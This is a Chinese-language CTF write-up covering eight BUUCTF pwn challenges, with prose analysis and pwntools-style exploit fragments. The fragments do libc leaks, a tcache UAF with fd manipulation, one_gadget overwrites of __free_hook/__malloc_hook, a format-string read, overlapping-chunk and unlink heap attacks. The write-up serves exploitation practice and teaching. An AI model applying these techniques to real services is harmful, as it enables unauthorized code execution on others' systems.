|
原文链接:BUUCTF PWN WRITEU下
BUUCTF PWN WRITEU下
1Table ofContents
- suctf_2018_stack
- rootersctf_2019_babypwn
- picoctf_2018_echooo
- ciscn_2019_c_3
- starctf_2019_girlfriend
- wdb_2018_3rd_soEasy
- qctf2018_stack2
- wdb_2018_3rd_pesp
suctf_2018_stack
pwndbg>p/x $rsp + 0x40 $1 = 0x7fffab018d48
去调整了栈对齐也没能getshell。
跳到这里。
rootersctf_2019_babypwn
简单栈溢出,不过这里需要考虑栈对齐的问题。
picoctf_2018_echooo
可以看到存放flag的地址偏移为8因此%8$s即可。
ciscn_2019_c_3
Ubuntu18
增删查功能还有一个backdoor。
只能有三种大小的chunk,最多9个chunk。
正常的输出
UAF。
感觉这个花里胡哨的没看到什么用处…
因为有UAF就方便很多了。。这里需要注意,因为UAF的存在,使得我们就能申请8个chunk,因此leaklibc的时候不能申请8个,这样后面就无法进行了,可以申请两个然后free前面一个8次进入unsortedbin。
###leaklibc### create(0x100,'leak libc')#0 create(0x60,'make a fakechunk')#1 create(0x60,'/bin/sh\x00')#2 for i in range(8): delete(0) show(0) ru('attack_times: ') libc_base = int(rv(16)) - 96- 0x3ebc40 success('libc base:'+hex(libc_base))
后面发现即使create也无法修改fd域。
这是backdoor的效果,我们再来仔细看一下这个函数:
要求idx-1>v1的时候才会使fd自加1,因为idx的原因我们让idx为2的chunk执行0x20次backdoor即可加0x20(free两个形成链后即指向另一chunk下面0x20的位置),伪造一个chunk,指向0x20是因为tcache是以用户区为指针返回的。
首先前面创建的三个chunk,free掉chunk1,再add回来伪造chunk头(不伪造应该也是可以的)以及fd为freehook,再free掉,再freechunk2,让chunk2的fd自增0x20即指向了freehook。
###tcachedup### free_hook = libc_base + libc.symbols['__free_hook'] system =libc_base + libc.symbols['system'] one_gadget = libc_base + 0x4f322 delete(1) create(0x60,p64(0)+p64(0)+p64(free_hook-0x10))#1 delete(1)delete(2) for i in range(0x20): backdoor(2) create(0x60,'/bin/sh\x00') create(0x60,'/bin/sh\x00')create(0x60,p64(one_gadget))
这里忘记了fd不可控不是sh字符串,还是用one_gadget打mallochook吧。
本地打了mallochook,但远程不同,打freehook即可。
其实就是利用backdoor使fd指向fakechunk的位置,并提前在此伪造好fd。
starctf_2019_girlfriend
ubuntu16保护全开。
其实只有增删查这三个功能
add
可以看到最多有100个girlfriend,会有一个0x18+0x10的chunk来存放girlfriend的call以及girlfriendchunk的地址。而girlfriendchunk的大小可以自定义。
show
常规输出。
call
其实是一个free的功能,存在UAF,后面的随机同不同意无关紧要。
UAF leaklibc + double free,当然也可以去利用UAF控制结构体实现任意地址读写。
wdb_2018_3rd_soEasy
基本没什么保护
溢出的大小基本是不够去leak完后再返回到main的,考虑一下栈迁移。
sorry忘记了这是x86的,应该是够用。
32位的传参差点忘了。
qctf2018_stack2
注意看changeNumbers这个功能,对于numbers_array的下标numbers并没有检查造成数组下标越界。其中numbers_array距离ebp为0x70。发现从0x74开始写并不能getshell,怀疑是不是ret不在0x70+0x4的位置上。
下断点在changeNumber的scanf上,发现写入地址为0xffffa888,运行至ret处:
pwndbg>distance 0xffffa888 0xffffa90c 0xffffa888->0xffffa90c is 0x84bytes (0x21 words)
主要是ret不在ebp+0x4的位置,需要调试一下。
wdb_2018_3rd_pesp
223的环境,没开RELO和PIE。
看到一开始申请了个chunk把两个函数指针放了进去,暂时还不知道用不用的上。
show和remove就很常规,没有什么点,看一下add和change:
首先数量很充足并且size无限制,要注意读入长度+1的那个字节置0.
可以重新输入长度造成堆溢出,同样注意置0的情况。
似乎暂时看不到什么作用。
这种情况我一般会选择构造overlapping,当然也可以选择unlink来做。
先说overlapping,这里注意有了\x00截断,不能套路的去释放再申请覆盖然后leak,要只释放大块,再申请一个然后会有两个chunk都有main_arena,其中一个申请的时候被截断,另一个还不是free状态可以show。
###一般套路### ###leak libc### add(0x10,'aaaa')#0 add(0x60,'bbbb')#1add(0x60,'cccc')#2 add(0x60,'dddd')#3 add(0x10,'eeee')#4 fake_size= 0x60+0x60+0x60+0x10+0x10+0x10+0x1 payload = 'A' * 0x10 + p64(0) +p64(fake_size) change(0,0x20,payload) remove(2) remove(3) remove(1) add(0x60,'aaaaaaaa')#1 show() ###这时候因为\x00截断的原因,新的#1是leak不出libc的### ###现在的情况### add(0x10,'aaaa')#0 add(0x60,'bbbb')#1 add(0x60,'cccc')#2add(0x60,'dddd')#3 add(0x10,'eeee')#4 fake_size =0x60+0x60+0x60+0x10+0x10+0x10+0x1 payload = 'A' * 0x10 + p64(0) +p64(fake_size) change(0,0x20,payload) remove(1) add(0x60,'aaaa')#1 show() ru('2 :') libc_base = u64(ru('\x7f')[-6:].ljust(8,'\x00')) -88 - 0x3c4b20 success('libc base:'+hex(libc_base))###此时块2内也有libc并且不是释放状态###
然后堆溢出一波带走:
再接着说说unlink,也很简单,在一个chunk中伪造一个fakechunk,然后通过溢出修改nextchunk的prev_size即可。
###init###ptr = 0x6020C8 + 0x10 fake_FD = ptr - 0x18 fake_BK = ptr - 0x10 ###unlink### add(0x10,'aaaa')#0 add(0x60,'aaaa')#1add(0x80,'bbbb')#2 add(0x10,'gap')#3 payload = p64(0) + p64(0x60) +p64(fake_FD) + p64(fake_BK) payload = payload.ljust(0x60,'A')payload+= p64(0x60) + p64(0x90) change(1,len(payload),payload) remove(2)
remove(2)后:
list已经有指针指向list,接下来不用多说,就是修改list中的chunk指针leak以及getshell。
|
|